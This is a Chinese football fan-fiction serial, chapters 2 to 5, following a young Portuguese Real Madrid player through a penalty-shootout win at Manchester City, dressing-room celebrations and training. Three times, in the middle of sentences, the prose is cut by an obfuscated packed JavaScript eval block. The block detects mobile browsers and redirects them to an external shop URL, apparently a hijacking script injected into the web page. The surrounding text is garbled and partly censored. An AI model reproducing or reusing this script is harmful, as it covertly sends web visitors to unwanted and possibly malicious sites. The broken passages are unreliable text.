《[足球]伯纳乌端水日记》 2. 一盆水 第2章一盆水 从伯尼站的位置望过去，卢卡·莫德里奇黑衣清瘦站在绿茵场上，像是跳出鱼缸的一尾黑色金鱼，曼彻斯特的春寒中，伊蒂哈德人人都穿着黑色大衣，此刻已经欢腾成了一片黑海。 球被埃德森击出门框反弹向莫德里奇，他一摆右腿，把球踢向了涌动的看台。 莫德里奇转身走回来，低头皱眉，一脸内疚的表情，向他们摊摊手，“我……” 克罗斯把他揽进队伍中，吕迪格伸手来摸摸他的头，打断他道：“没关系的，卢卡，等一等，还没结束。” 伯尼也伸手拍了拍莫德里奇的肩膀。 他再转头时，曼城的伯纳多·席尔瓦已经叉腰站在主裁身旁，背后的蓝底白字的“20”号脏兮兮的，像是在土里打过滚。 伯尼想起他们刚才在一次争顶时撞了个满怀，落地时伯纳多几乎倚在他怀里，仰头，带着亲切的乡音，“……伯尼！” 他憋着嘴角的笑抱了抱伯纳多，心想，瓜迪奥拉真的派你来防守我吗。 时间一分一秒过去，大家都等着看台把球扔下来，可球迷却把球抱在怀里，迟迟不肯放手。 伯纳多开始用脚踢着地上的草皮，一下，又一下。 伯尼看向门将卢宁，这也是他临危受命的一晚，此时他正手扶门框而立，面无表情，似乎完全没注意到背后球迷的嘘声。 足球终于被人扔了下来。裁判鸣哨示意，他听见身边有人深吸了口气，也跟着屏住呼吸—— 伯纳多站在原地，抬腿，击球。 卢宁也站在原地，抬手轻轻一摘，球稳稳落在手套之中。 勺子……点球……？ 伯尼呆了一秒钟，听见恩德里克怒吼才跟着吼了一声：“Vamos！（干得好！）” 皇马原本并肩而立的一整行瞬间四散，人人低头握拳走向各自的方向，像是突然放飞的一群鸽子，走了几步又回头和队友汇合。 伊蒂哈德看台的沉默形成了鲜明的反衬。 比分又回到了原点。 0:0。 莫德里奇一脸如释重负，双手握拳贴在额头前，伯尼跑去拥抱他，莫德里奇轻轻拍了拍他的背，声音沙哑：“……别害怕。” 卢宁木着一张脸走过来，把球交给巴斯克斯。 伯尼几步退回到队伍中，眼见着背对着他们的巴斯克斯竖起手掌，指尖向上一顶，足球在他指尖旋转了好几圈，被他接住，又再次开始转动。 他起了一身鸡皮疙瘩。 眼前又浮现出七年前他在家里看一场欧冠决赛时的情形，巴斯克斯指尖转着足球走向点球点，面容无比年轻，神情从容不迫。 他整个人就像是被时间的利箭击中了似的，为巴斯克斯而紧张，却又为自己能亲眼见证而欣喜。 哨声刚落，巴斯克斯干脆起脚，球“砰”地飞进球门，曼城门将埃德森猜错了方向，飞身扑向了另一侧。 皇马球员再次四散庆祝，握拳低头大步走。 曼城队派出的第二个点球手是阿尔瓦雷斯，伯尼回头看了一眼曼城替补席，主教练瓜迪奥拉独自插兜站在一边，手摸着下巴远望。 阿尔瓦雷斯助跑，打门，球擦着卢宁的指尖入网。 1:1。 曼城球迷欢腾起来，伯尼向后退了一步，躲在克罗斯身后，心开始咚咚狂跳，听见吕迪格说了句“你能做到！”，莫德里奇边鼓掌边喊：“加油裘德！” 他抬头，看见裘德·贝林厄姆昂着头，甩着长胳膊走了出去，脚下生风。 伯尼不难想象出他脸上此时的自信表情，听到身边有人低语：“……裘德这样子一看就能进。” 他们所有人屏息凝神，注视着贝林厄姆脚起刀落，球稳稳飞向埃德森另一侧的球门死角，一起怒吼出声：“Bravo！！！” 贝林厄姆后退一步，仰头远远对着看台高处的皇马球迷比出一个“1”的手势，球迷们欢腾着喊他的名字，气势慢慢回升。 曼城的8号科瓦契奇站定在点球点前，伯尼左手边的莫德里奇深吸了口气，紧紧盯着科瓦契奇的背影。 科瓦契奇助跑，起脚，射门—— 卢宁迅速向□□身，右脚却在原地生生挡出了球！ “YES！！！” “Vamos！！！” 伯尼懵了一下，回过神来时已经蹦着跳着大吼出声，莫德里奇抓着他的胳膊大力地晃，又回头向替补席挥了挥手。 伯尼也回头看，场边的凯帕穿着他的大羽绒服一蹦一跳，笑着向他们举起拳头，领先！ 站在一旁的克罗斯摊手，“……看起来咱们好像要赢了。” 其他队友们看了克罗斯一眼，这话可不是所有人都敢说。 第四轮点球结束，皇马3:2曼城。 这意味着他的点球若是踢进，比赛就真的结束了。 伯尼感受到窒息的感觉从喉咙口开始蔓延到全身，脸都有些僵硬了，深吸了口气，刚迈出一步，看见曼城的鲁本·迪亚斯向他们走过来—— “第五个点球让小孩罚？挺勇的……或者挺绝望的，这就是现在的皇马吗？” □□修斯达几步冲出来揪住他的衣领，同样用葡语怼了回去： “我们这里没人躲责任。小孩要罚，就让他罚，这才叫勇气！你们都是葡萄牙人，你还是早点闭嘴吧！” 曼城那边有人过来拉迪亚斯，□□修斯却不肯松手，恩德里克也冲上去帮忙，吕迪格两手拉着两个愤怒的巴西人，扯着嗓子喊：“好了，□□，波比，别和他说了！” 莫德里奇去解救吕迪格，贝林厄姆隔着许多人吼过去：“你在这叭叭个什么？等球进了再说话！” 伯尼眨眨眼，窒息的紧张感却压得他做不出任何反应，只是站在原地不断深呼吸。 整场比赛几乎被曼城压着打，他皇马的老大哥们已经憋了满肚子火，如今骂战一触即发，他瞥向场边，安切洛蒂正插兜眺望他们，面无表情，嘴里嚼着口香糖。 直到裁判跑过来将他们分开，迪亚斯和□□修斯一人一张黄牌，两边各打五十大板，骂仗这才平息下来。 卢宁把球递到他手上，又沉默地转身离开，球衣背上全是簌簌的草屑。 皇马的所有队员都看着伯尼，最后关头，没人在这时候再说些什么，只是沉默的、温和的注视。 伯尼抱着沉甸甸的球，一步一步，走向草皮上的那个小圆点，摄影师肩上黑黢黢的镜头对准了他，他放好球，起身，后退。 埃德森站在球门前伸开双臂，迫人的目光锁定在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323583|199092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上。他越过他，看见菱格形状的球网背后如山一般黑压压的看台。 耳边的嘘声越来越响，伯尼望着对他横眉倒竖的曼城球迷，喉咙口的滞涩感越发强烈，像是含了一颗强劲的薄荷糖。 他忽然想起吕迪格曾说过的话： “点球？其实就是让自己冷静下来。走到点球点的时候，我会试着清空脑子，只盯着球。有时候我会想到我女儿，因为那会让我放松很多。对我来说就是控制好自己，不去想别的事情，然后把球踢进去。” 伯尼闭上眼睛，努力把自己的脑海排空。 在一片黑暗中，有光慢慢地亮起来，是一片荡漾的灰蓝色的海，蜿蜒的细细的木栅栏则是它的项链，他踢着球向前跑，边跑边眺望着海上一只漂泊的小船…… 那是他外公的小渔船。 他睁开眼时眼眶阵阵发热，心跳奇异地稳定下来，紧张感一扫而空。 伯尼丈量脚后退，目光锁定，哨声随即尖厉地响起：“哔！！！” 他迈开腿，一步、两步、三步，收紧核心，肢体控制力凝聚于一处，绷直左脚背，击球的中心偏下部，把球想象成一颗出膛的炮弹—— 足球在空中高速旋转着，在他眼里却能一帧帧慢放，清晰地看见球上的白底黑五角星，像是带着拖尾的流星一样向球门飞去，擦着埃德森的指尖，落入球门死角。 球进了！ 皇马点球4:2淘汰曼城，挺进欧冠半决赛！ 伊蒂哈德满天的嘘声戛然而止，UEFA摄影师扛着摄影机就朝他冲过来，可他并没抬脚，只是站在原地伸直双臂，然后转身。 视线中，队友们跑得面目狰狞，吕迪格高抬腿一马当先，□□修斯边冲边指着曼城球员大叫，贝林厄姆瞪着眼睛张大了嘴，恩德里克仰头双手指天…… 替补席的球员和工作人员也飞奔过来，场面看上去很像黑羊大迁徙。 吕迪格冲过来把他扑倒在地上，又有人压到吕迪格身上，伯尼眼前只看得见无数黑色球衣的衣角，听见耳边不断有人嘶声喊： “啊啊啊啊啊啊！我们赢了！” “好样的！马德里万岁！” “太棒了！太漂亮了！！” 直到他堪堪从人堆里爬出来，莫德里奇立刻给了他一个大大的拥抱：“伯尼，你做得太好了！我们赢了曼城，我们晋级了！”又跑着去找卢宁。 克罗斯挑眉问他：“……第一次踢点球感觉怎么样？” 伯尼看见曼城很多球员坐着或叉腰站着，神情无助而迷茫，这才有点意识到刚才肩上的压力有多大，他长出一口气，笑着回道：“感觉很不错。” 迎着曼城球迷死一般的沉默，他们蹦着跳着在伊蒂哈德庆祝，向随队远征的球迷致意。 今天简直是他人生中最幸福的一天。 眼前不论看到什么都是闪闪发亮的，带着胜利的光晕。 在曼城球员离开之前，他在球员通道里张望着等待阿尔瓦雷斯，这个来自阿根廷的幸运星型球员，想和他交换球衣。 伯纳多·席尔瓦走了过来，全身都是泥土痕迹，有气无力地叫他的名字：“伯尼……” 伯尼抱了抱这个性格温柔的国家队老哥，正想安慰他几句，就看见鲁本·迪亚斯阴沉着脸走进了通道。 3. 一桶水 第三章一桶水 伯纳多·席尔瓦是曼城trash talk（喷垃圾话）之王，这是伯尼在皇马更衣室混了两年后的经验总结。 可他现在看着跑满全场的伯纳多，他看上去累得双眼无神，灵魂都要出窍了，只有在和他聊起刚出生的女儿时才有些兴致，两条弯眉毛高高扬起，嘴角一抹淡淡的微笑。 伯尼视线中却突然多出一抹天蓝色，抬头一看，鲁本·迪亚斯向他伸出手，夹在伯纳多的热情介绍中道：“伯尼，好久不见，你舅舅今天来看比赛了吗？” “对！法比奥！”伯纳多一拍手，“……他在哪里？” 伯尼摇摇头，伯纳多那口熟悉的乡音总能一秒将他带回家乡，能让他又听见海风的呼啸。 “他在家里，他公司最近比较忙，没空来看我。” “他还在打渔吗？”迪亚斯眯起眼睛，做了个看报纸的动作，故意拖长音调，“科恩特朗回到了大海——” 伯尼笑出了声，想起葡萄牙媒体如何描述他舅舅：一个曾在皇马踢欧冠的球员，如今选择回到家乡做一个渔民。 迪亚斯也自鸣得意得地笑起来，随后一扭头，大力揽过伯纳多的肩膀： “……一个点球而已，别往心里去！人人都有失误的时候，这根本不算什么，别听媒体怎么说，也别看那些讨人厌的私信。” 伯尼开团秒跟，“对对！伯纳多，你今天踢得真的很好，我舅舅一直说，你是葡萄牙这十年最好的中场，我觉得他说得对。” 伯纳多靠着迪亚斯，看着伯尼说道：“……挺神奇的，我居然在国家队和两个不同的科恩特朗一起踢过球。” 后来迪亚斯又低声道：“伯尼，刚才点球的时候我不是说你……希望你能明白我的意思。” 伯尼摇摇头还没张嘴，伯纳多就抢先道：“行了行了，鲁本，我们都知道你为什么这么干。但你可得记住啊——你面前站着的可是葡萄牙过去十年最好的中场，还有未来十年最好的中场！” 伯尼感觉自己脸上发烫，只能傻笑着挠脑袋，目送着他们走远，身边不断有球员和工作人员匆匆走过，却一直没看到阿尔瓦雷斯。 他决定主动出击。 他走回了场馆内，一出通道就被咔擦咔擦的快门闪得愣了愣，采访区像是一片银色的海洋。他听到一直有人在喊他的名字，这在以前是从未发生过的。 ”伯尼！伯尼！可以采访你吗？” “伯尼，过来这边吧——” “罚金最后一个点球感觉怎么样，伯尼？” 伯尼弯腰正从旁掠过，却突然被人拽住了袖子，回头看见一个满脸笑容的年轻记者，举着麦克风，开口就是极流利的葡萄牙语： “伯尼，我能采访你吗？我是波尔图人，现在在英国天空体育工作。我从你还在龙之力青训的时候就开始看你踢球了！” 伯尼停顿了几秒，“但我只能说几分钟。” 记者极为高兴，领着他看向天空体育的镜头，举着麦克风滔滔不绝地讲了起来： “站在我旁边的是伯尼·科恩特朗，他在比赛中为皇马罚进了最后一个点球，伯尼，你觉得——” “伯尼？好久不见。” 伯尼一转头，看见熟悉的曼城球迷穿搭：扣子扣到脖颈的黑色大衣，长西裤，皮鞋。再往上看，兜下巴上一圈淡灰色的胡茬，眼睛深邃而圆钝，透着意大利男人的忧郁美感。 曼城主教练，瓜迪奥拉。 伯尼瞪圆了眼，下巴差点掉下来，立刻收敛神色站直了身子，向瓜迪奥拉伸出手，说，好久不见。 扛着镜头的摄影师默默后退一步，周围咔嚓咔嚓快门声不断。 瓜迪奥拉握住他的手低声说了句什么，随后并未理睬记者们的呼唤，低下头转身离开了。 伯尼一颗心七上八下的，还得努力控制在镜头前表情自然，连记者问了什么都没太听清，就听见背后传来声音： “不好意思，请让一下。” 他立刻向右一步，转头，再次瞳孔放大一瞬。 金棕色的大背头，蔚蓝色的眼睛，亮白的皮肤被汗蒸得发红，此刻正拧着眉毛看着他，气压极低的模样。 曼城中场核心，凯文·德布劳内。 在点球之前，比赛第12分钟时罗德里戈打入一球，皇马开始死守1:0，直到第76分钟德布劳内为曼城破门，他张开双臂飞奔着怒吼，将伊蒂哈德球场彻底点燃。 伯尼完全忘记了正闪着红光的镜头，下意识抱着手臂注视着德布劳内进入足球通道，盯着他那稳固而潇洒的大背头，想要他的发胶。 记者问：“伯尼，你主罚最后一个点球的时候在想什么？” 伯尼回过神，答道：“我只是在想保持冷静。点球就是心理战，我只能选好一个方向，然后用力踢。” 记者又问：“皇马几乎整场都在防守，这是计划的战术吗？” 伯尼捋了捋汗湿的球衣，然后笑着说：“这里是曼城主场，他们是世界上最好的球队之一。但我们防守得很好，所有人都拼到了最后一刻。” 他想起中场休息时安切洛蒂用笔敲着黑板，轻描淡写地说出一个个防守上的问题，然后重申了战术：放弃控球，极限低位防守，快速反击，努力把比赛拖进点球。 曼城最擅长的就是控球，他们又是客场作战，伯尼觉得他一个替补席上坐着的都倍感压力，一转头，克罗斯在系鞋带，莫德里奇在整理发箍。俩个人脸上都平静无波，仿佛在说：有什么好大惊小怪的？ 随后，安切洛蒂又强调：“如果曼城进球，比分真的被扳平……我希望你们所有人都在禁区防守，打起精神，坚持到最后一刻。” …… 伯尼回到更衣室时，队友们正在庆祝—— 他一开门就被□□修斯挥舞着的球衣挨了一下，罗德里戈正在虚空打鼓，恩德里克在伴唱，吕迪格在伴舞，米利唐在放音乐，其他人则笑呵呵地瘫坐在椅子上围观，其中贝林厄姆的笑声最响。 放在以前，他和恩德里克两个替补队员绝对是赛后庆祝的主力，但他今天踢完点球连腿都软了，望着那几个尚且神采奕奕的巴西人，简直不得不服。 伯尼拖着腿走向自己的位置，把换来的阿尔瓦雷斯的球衣塞进包里，然后在音浪中摸出手机开机。 无数条Whatsapp和IG消息争先恐后地弹满了屏幕，但他首先点开了特别关注人，著名转会记者法布里齐奥·罗马诺。 @罗马诺： -多家俱乐部正在关注阿尔瓦雷斯在曼城的情况。 -曼城仍然把他视为重要球员。 -目前没有具体进展。 他看着手机，想起刚才在采访区的情形，在心里默默摇头，罗马诺没说到点子上。 刚才，他在记者区发现了正被缠着不能脱身的阿尔瓦雷斯，站在几步开外的地方等他。 阿尔瓦雷斯看见他，应付了记者几句就转身要走，记者却穷追不舍地嚷：“胡安，为什么瓜迪奥拉没有更早让你上场？球队需要加强进攻的时候，你却一直在替补席上，直到第90分钟才被换上，这是为什么？” 伯尼很难忘阿尔瓦雷斯脸上的表情。他表现很好球队却无缘欧冠半决赛，已经耷拉着眼睛抿着嘴，浑身低气压，这下被问得连头都不想抬，脸色阴沉得能滴出水，转身抬脚就走。 他立刻就明白，阿尔瓦雷斯下赛季肯定要走了。 皇马更衣室里开始进入尾声大合唱环节，他的手机刘海屏一闪一闪，不断有新消息跳出来： M?e（妈妈）：[图片] M?e（妈妈）：[图片] M?e（妈妈）：太棒了！你把点球罚进了！ 伯尼点开，看见第一张图片是妈妈和他外婆脸贴着脸的自拍，两个人正握拳庆祝，像是在对他说：“Vamos！”（“太好了！”） 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323584|199092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张图片，是他外婆的吉娃娃犬诺拉，它被人抱到了电视机旁边，正瞪着大眼睛看着屏幕上的比赛画面。 Tio Fabio （法比奥舅舅）：[图片] Tio Fabio （法比奥舅舅）：为你骄傲[赞] 伯尼弯起嘴角，带着一点莫名的期待，手指一点，看见他舅舅发来一张在渔船上的自拍，凌乱的棕发、黑胡茬、橡胶衣，身后是波光粼粼的大海。 在不着调的嘶吼与合唱声中，克罗斯把脑袋歪过来看他的手机，大声问：“这是法比奥？” 伯尼点点头，克罗斯皱着眉毛摇头，把他的手机拿给正在唱歌的莫德里奇看。莫德里奇看完，边唱边苦笑，对着他们抹了一把额头上不存在的汗。 克罗斯边甩着毛巾边调侃他：“伯尼，你以后也会变成这样么？” 他摇摇头正想说话，克罗斯已经开始拍桌子，庆祝大合唱进入尾声—— “?Hala Madrid!” “?Hala Madrid!” “?Hala Madrid!” 马德里万岁！ 马德里万岁！ 马德里万岁！ 伯尼和大家一起振臂高呼，正在拖长最后尾音时，主教练安切洛蒂终于推门进来，更衣室天花板正中心的一个消防喷淋头却毫无征兆地开始转着圈喷水。 安切洛蒂极迅速地“啪”一声关上了门。细细的水柱顺着高速旋转的喷淋头洒向四面八方，像是公园里冲击力极强的自动灌溉器，他队友们大叫着抱头逃窜。 伯尼用手挡住眼睛，水顺着头发丝流到耳朵、脖子、胸口，听见耳边止不住的骂声，英语、西语、法语连环交替： “靠！” “见鬼！” “这他妈什么情况？” “别告诉我这是庆祝！这不会是曼城搞的鬼吧？” 伯尼一边用手抹脸上的水，一边又忍不住想笑，他眼前的场面好像在热带雨林里的一群猴子。 □□修斯和罗德里戈正互相抱着嗷嗷大叫；恩德里克好像在洗头；吕迪格爬上桌子试图接近喷淋头；莫德里奇捂着眼睛躲在他身后；克罗斯挤在最角落里，举着手机傻乐；贝林厄姆彻底绷不住开始激情输出…… 伯尼闭了闭眼睛，觉得这场人造雨来得特别及时，让他的头脑特别清醒： 大腿肌肉暗暗地发涨，他知道明天肯定疼得抬不动腿；手心冰凉，他知道他可能快感冒了。 他还突然就听清了瓜迪奥拉刚才对他说的话，那时瓜迪奥拉握着他的手，声音轻沉，只说了三个单词： “Good Penalty. Congratulations.” (“很好的点球，恭喜。”) 他叹了口气，不禁再次肯定自己在两年前的选择。 皇马是他从小就唯一最爱的俱乐部，葡萄牙所有踢球的孩子的偶像在这里书写了一段传奇，可在那之后却鲜少有葡萄牙人加盟。 当有这个机会，当有一线可能，他会不顾一切、不加任何考虑地来到这里。 他相信他做了正确的选择。 伯尼闭上眼睛笑，水顺着眉骨流下来，像是两道天然的小瀑布，听见有人“咚咚”两下拍桌子，睁眼看见表情坚毅、却上演□□的队长纳乔。 伯尼嘴角不禁上扬。 纳乔做了几个手势示意大家安静下来，随后挥着拳头兴奋道：“记住，我们是皇马。下一轮是谁都要赢——拜仁也一样！加油马德里！” 皇马所有球员都在雨中挥起了拳头，跟着队长吼道：“加油马德里！” 伯尼看看那一张张淅沥沥的水中绽放的朴实笑脸，眼前仿佛燃起了熊熊胜利之火，对之后的和德甲之王的较量无比期待。 就在这时，手机“嗡嗡”振动起来。 他抹掉屏幕上的水，看见来电人是罗伯托·马丁内斯，葡萄牙国家队主教练。 4. 一杯水 第四章一杯水 罗伯托·马丁内斯那含混的低沉嗓音总让伯尼想起《教父》里的马龙·白兰度，一身西服坐在深黑的大理石办公桌前，手里夹着烟雾缭绕的雪茄，声音从胸腔深处慢慢滚出来： “伯尼？……是我，马丁内斯，我没有打扰到你吧？……我刚看完比赛，恭喜你，那个点球非常冷静……继续保持这样的状态，欧洲杯的计划里，我们有你的位置。” “砰！”一声，脚内侧击球的闷响。 伯尼回过神，把马丁内斯的声音清出脑海，脚下迅速向左跨出几大步，脚尖抵住高速滚来的足球，一停，一拨，脚背平直地一推。 足球斜掠过在中间抢球的恩德里克，被一只银色球鞋踩住。 韦尼休斯另一只脚在球底一挑，足球甩着一道弧线弹到他肩膀上，他歪着头夹住，在周围人的笑声和起哄声中踏着小碎步转了一圈，像是八音盒上滑稽的小人。 伯尼“扑哧”笑出了声，视线却一直落在球上，眼见着那黑白相间的球被巴西人灵活地甩出去，在克罗斯脚上一垫，然后飞向吕迪格。 吕迪格抬起大腿内侧停球，用两条健瘦的腿翻飞着做了个花式绕球，队友们的笑声更大，球被他用脚尖踢出，昂着弧线去找伯尼身旁的莫德里奇。 球被莫德里奇踢出去，像流星一样划过深绿浅绿的条纹草皮，伯尼暂时松了口气，脑子里只剩下一个小人在摇旗呐喊： 欧洲杯！ 欧洲杯！ 欧洲杯！ 马丁内斯的低沉声音又飘入他的脑海： “……我认识你舅舅，他当年在皇马踢得很好……穆里尼奥带过他，我一直很尊重他的判断。门德斯也跟我提过你，但今天你已经自己证明了自己。” 门德斯。 伯尼的心忽然坠了下去，呼吸下意识放轻，像是这样就不会在脑海里看见门德斯的脸，短发、浓眉、牙齿亮白，带着点礼貌的精明的微笑…… “砰！” 急转的足球破开了层层思绪，高高地向他俯冲过来。 伯尼下意识后退一步，侧抬腿用内侧一挡，球如同瞬间卸力一样落在脚边，眼前恩德里克的阴影逼近，他迅速跨出右脚一撑，左脚抡向足球却又生生停下，把恩德里克晃得一个踉跄后才踢出去，球穿裆而过。 克罗斯“哇哦”出声，吕迪格立刻起哄道：“波比——把门关上啊！” 恩德里克抹了把头上的汗，盯着伯尼气喘吁吁地说：“运气！再来一次！” 伯尼傻笑着挠挠头，转身去给自己和恩德里克拿了两瓶水，回来时助教已经开始组织他们分组踢小场比赛。 伯尼接过助教手里的橘背心，看见吕迪格把绿背心递给了恩德里克，然后突然瞪大眼睛，倒吸一口凉气，“……哇！我居然和波比·查尔顿一起踢球？” 伯尼正举着水杯，听完一口水呛在喉咙里，边咳嗽边转头看恩德里克，皮肤棕黑的巴西人翻了个白眼，扁着嘴满脸无奈。 他还记得“波比·查尔顿”的由来。 那时他和恩德里克刚来皇马，第一次和队友们一起录制阿迪达斯的品牌合作，穿着新球衣说出自己童年时的偶像。 他们在摄影棚里站成一个半圆形，等待摄影师端着镜头一一扫过去—— 吕迪格：“我的偶像是罗纳尔多和佩佩。” 克罗斯：“我很喜欢2003到04赛季的不来梅，尤其是米库德。” 贝林厄姆：“毫无疑问的，齐达内。” 伯尼边听边点头，然后盯着扫过来的幽深的镜头，说道：“克里斯蒂亚诺，我从小看着他在皇马踢球长大。” 他余光瞥见克罗斯探出头来看他，还没来得及回头，身边的恩德里克狂抓后脑勺，像是进行了认真的思考，然后小心翼翼地开口： “……波比·查尔顿？” 伯尼目瞪口呆，耳边仿佛一下子响起了老式蒸汽火车“呜呜”的轰鸣。 他身边的队友已经笑倒了一片。吕迪格鼓着掌大笑出声，克罗斯盯着他们，像是不可置信地重复了一遍“波比·查尔顿”，贝林厄姆一梗脖子，皱着眉头大声问：“谁？” 关于波比·查尔顿……伯尼只能回忆起那几卷老旧球赛录像带里的模糊脸孔。 …… 然而，巴西版波比·查尔顿在小场比赛里气势惊人，伯尼站在左路，看着他像推土机似的带球推进，心里有些发怵，还是放弃贴防吧。 伯尼斜向后跳了几步，用余光转头观察另一侧跟着恩德里克向前跑的吕迪格，在心里想象着小球场的俯视图，恩德里克和吕迪格则变成了图上的两个小点。 他还注意着恩德里克脚下的节奏，看见那双荧光绿的球鞋踩着电光石火向前冲，随后左小腿紧鼓着踩在地上，右脚一摆—— “砰！” 足球在恩德里克的脚背上炸开一声脆响。 他脑海中想象的传球线路一笔画出，左脚大跨步向前，右脚绷直了向前伸，脚尖终是堪堪碰到了贴地飞滚的足球，一挡，足球被卸了速度，缓缓向他前方滚去。 “好球！”他听见莫德里奇喝道。 他步子迈得太大，大腿筋被压得抖了一下，用手撑着草皮才能连滚带爬地站起来，抢在急刹车的恩德里克之前把球踢出去。 莫德里奇脚跟一拨，转身闪过吕迪格，左脚把球送出，右脚支撑中心，然后跟上一脚远射。 伯尼站在原地，眼见着足球划过一道优美的圆弧，稳稳飞进球门，得分！ 他喘着气伸开手臂，还没来得及欢呼一声，助教已经将新的球扔进场中，又是一场酣畅淋漓的抢球大战，这种对抗人数少、节奏快、没有守门员，所有人几乎都是一脚出球，“砰”“砰”“砰”的连环闷响中，足球以各式各样的弧线洞穿球门。 当伯尼累得眼前冒白光时，终于听到一声清脆的哨响，上午的训练结束了。 他和恩德里克留下来把所有的球装进球袋里，把锥桶搬回去，直到还剩下最后一个球孤零零落在草皮上时，恩德里克问：“伯尼，你下午留下来练任意球吗？” 伯尼低头，脸上的汗一道道流下来，淹没在领口一大圈深色的汗迹里，喘着气反问他：“……你不累啊？” “不累。”恩德里克弯腰把最后一个球抱进怀里，“在飞机上是有点累，不过回家睡了一天就好了。你练吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323585|199092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伯尼瞪圆了眼睛，憋住喉咙里的气说，我也不累，我们一起练吧。 他扛起锥桶，恩德里克拖着球袋，吭哧吭哧地走向训练中心的大门，恩德里克却突然驻足回头看他。 门口的感应器灵敏，玻璃门“嗡”“嗡”地开开关关，空调风阵阵吹来，伯尼听见巴西人羞涩地说：“伯尼，我要结婚了。” 伯尼盯着恩德里克那圆钝的轮廓看了半天，下颌线和眉骨突出，鼻头圆钝，表情严肃，好老派而复古的球星气质。 “波……恩德里克，你多大了来着？” 恩德里克回道：“我十八岁。” 伯尼望见那双短而窄的眼睛就这么直直地盯着他，张张嘴，沉默了一会儿才说：“……恭喜你，是和米兰达结婚吗？这么快啊！” 恩德里克的眼睛弯起来，笑露出两排白牙，衬着棕黑的皮肤，显得特别朴实而单纯。 伯尼有千言万语堵在嘴边，却又彻底无话可说了，脑海里回想起他和恩德里克刚认识的时候，他十八岁，恩德里克十六岁，穿着一身红绿古驰运动装站在他面前，问他，你好，你会说葡萄牙语吗？ 隔着透绿的玻璃门，伯尼看见吕迪格和克罗斯站在一起，吕迪格一手叉腰说着什么，克罗斯正拿毛巾擦汗。 “楚阿梅尼把卡马文加铲伤了——” 吕迪格对着伯尼比了个手势，然后挑眉抿嘴，一脸“我不敢相信发生了什么”的绝望。 伯尼张大了嘴，听见恩德里克问：“啊？他们俩上午不是没来训练吗？” 吕迪格绘声绘色地把刚才的事情讲了一遍，十分分钟前，当楚阿梅尼在上抢卡马文加的时候，脚底突然一滑，一脚把卡马文加带走，俩人“咣当”摔在地上，然后所有人都听见了卡马文加的痛呼…… 伯尼把锥桶往肩膀上送了送，皱起眉头问：“那后天踢巴萨怎么办？” 他的一颗心已经悬了起来，难以想象刚和他们讲完战术的主教练安切洛蒂知道后会是什么表情。 克罗斯只是盯着地面不语，吕迪格则仰头用手抹了把脸，把脸颊拽得老长，然后哀嚎出声： “哎，我说真的，球迷有时候还真没说错，皇马场上最多只能有一个法国脑子，卡马文加和楚阿梅尼像是共用一个CPU的，两个人一起上场，这脑子就不够用了。但也别用这种方式解决问题啊——他们俩别再互相铲了！” 伯尼忍不住哈哈大笑，笑完还得干巴巴地安慰：“……我想楚阿梅尼也不是故意的，我们撑过后天那场比赛，卡马文加说不定就恢复了，没事的！” “我只是觉得这有点蠢。”克罗斯摇摇头，神情却很诚恳。 伯尼想起楚阿梅尼的刺猬头和直愣愣的眼神，努力绷住了嘴角的笑。 吕迪格离开时还说：“事已至此，你们要打起精神，后天打巴萨，这场很关键，听见没有？别想着一直坐板凳，到时候上场可得狠狠干，别输给他们那几个小孩！” 伯尼和恩德里克连忙点头。 伯尼透过玻璃的反光一看，恩德里克拖着硕大的球袋，而他扛着三角锥桶，两个人的倒影看起来很像游戏里的建筑小工，不知已经这样傻站着多久了。 5. 一碗水 第五章一碗水 踢任意球会上瘾。 伯尼把足球的气孔转到正对着自己，然后微微斜放在草皮上，向后倒退，助跑，提髋，抡脚，打门—— 卢宁猜对了方向，可球直挂向死角，没给他任何扑救的空间。他起身时一边拍着身上的草，一边面无表情地说：“我发现你只喜欢踢右路。” 伯尼忍不住笑了一下。 每一次击球，他都控制着脚踝偏移的弧度，想记住每一次脚内侧的骨头与球接触的感觉，感受到即使是一点点的偏移和轻重的不同，也会让弧线产生许多种变化。 “砰！” “砰！” “砰！” 在左侧、中路、右侧各练习了20个任意球后，伯尼的左右脚内侧都已经开始发麻，他知道肌肉正在抗议，可这一次练习记住的肌肉记忆，下一次又可能全都忘掉。 或许这就是足球的魅力所在，那些精妙的传射、如手术刀般的传球、圆月弯刀一般的任意球……都发生在下一个无法掌控的瞬间。 伯尼捡起一个足球，把手放在皮革缝线的微微凸起处，感受到一道道粗粝的丘壑划过掌心，里面似乎有什么在蠢蠢欲动—— 他觉得，那是足球的心跳。 伯尼听到恩德里克在背后叫卢宁，求他陪他练习，卢宁的声音依旧木木的，像是没有心的稻草人，“……你踢球太狠了，我怕受伤。” 